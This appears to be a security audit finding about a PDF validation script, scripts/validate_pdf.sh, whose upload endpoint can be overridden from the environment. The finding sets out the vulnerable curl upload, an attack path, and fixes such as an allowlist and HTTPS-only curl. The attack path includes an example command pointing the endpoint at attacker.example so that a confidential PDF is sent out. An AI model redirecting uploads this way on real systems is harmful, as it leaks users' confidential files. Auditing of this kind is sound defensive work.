T09 · Insecure Skill Coding Practices
- Location
scripts/validate_pdf.sh:14- Finding
Unvalidated API Base URL Allows PDF Exfiltration to an Attacker-Controlled Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
scripts/validate_pdf.sh, lines 14–25
Vulnerability Type: Untrusted endpoint configuration and sensitive file disclosure
Risk Level: MediumVulnerable Code
bash UA1_API_BASE="${UA1_API_BASE:-https://api.ua1.dev}" UA1_FORMAT="${UA1_FORMAT:-compact}" if [[ "$UA1_FORMAT" == "compact" ]]; then URL="$UA1_API_BASE/api/validate?format=compact" else URL="$UA1_API_BASE/api/validate" fi TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \ -X POST "$URL" \ -F "file=@${FILE_PATH}")"Technical Analysis
The script takes
UA1_API_BASEdirectly from the inherited environment and uses it to construct the destination of a multipart upload. It does not validate the URL scheme, destination hostname, port, or presence of embedded credentials.The
curl -F "file=@${FILE_PATH}"argument reads the selected PDF and transmits its contents to the resulting URL. Consequently, an attacker who can influence the environment in which the script runs can replace the documented validation service with an attacker-controlled HTTP or HTTPS endpoint.Quoting prevents shell command injection through the variable, but it does not prevent endpoint substitution. This is particularly relevant in CI jobs, agent environments, wrapper scripts, or shared shell configurations where environment variables may be supplied indirectly.
Attack Path
- The attacker gains influence over the environment used to invoke the validator, such as CI variables, an agent configuration, a wrapper script, or an inherited shell environment.
- The attacker sets an alternative endpoint:
bash export UA1_API_BASE="https://attacker.example" - A user or automated agent invokes the documented command:
bash bash scripts/validate_pdf.sh confidential.pdf - The script constructs:
...[truncated 1185 chars]
- Remediation
View remediation
Remediation Suggestions
-
Remove the
UA1_API_BASEoverride if custom validation servers are not required:bash readonly UA1_API_BASE="https://api.ua1.dev" -
If endpoint customization is required, validate it against an explicit allowlist:
bash case "$UA1_API_BASE" in "https://api.ua1.dev") ;; *) echo "Untrusted UA1_API_BASE: $UA1_API_BASE" >&2 exit 1 ;; esac -
Require HTTPS and reject URLs containing credentials, unexpected ports, query strings, fragments, or non-approved hostnames.
-
Restrict
curlto approved protocols and fail securely:bash curl --proto '=https' \ --tlsv1.2 \ --fail-with-body \ --connect-timeout 10 \ --max-time 120 \ ... -
Do not enable automatic redirects for file uploads. If redirects are added later, constrain them to the same trusted hostname and HTTPS scheme.
-
In CI environments, protect endpoint variables from untrusted pull requests and avoid inheriting arbitrary environment configuration into validation jobs.
-
Clearly disclose in the documentation that PDFs are transferred to an external validation service so users can make an informed confidentiality decision before uploading sensitive documents.
-
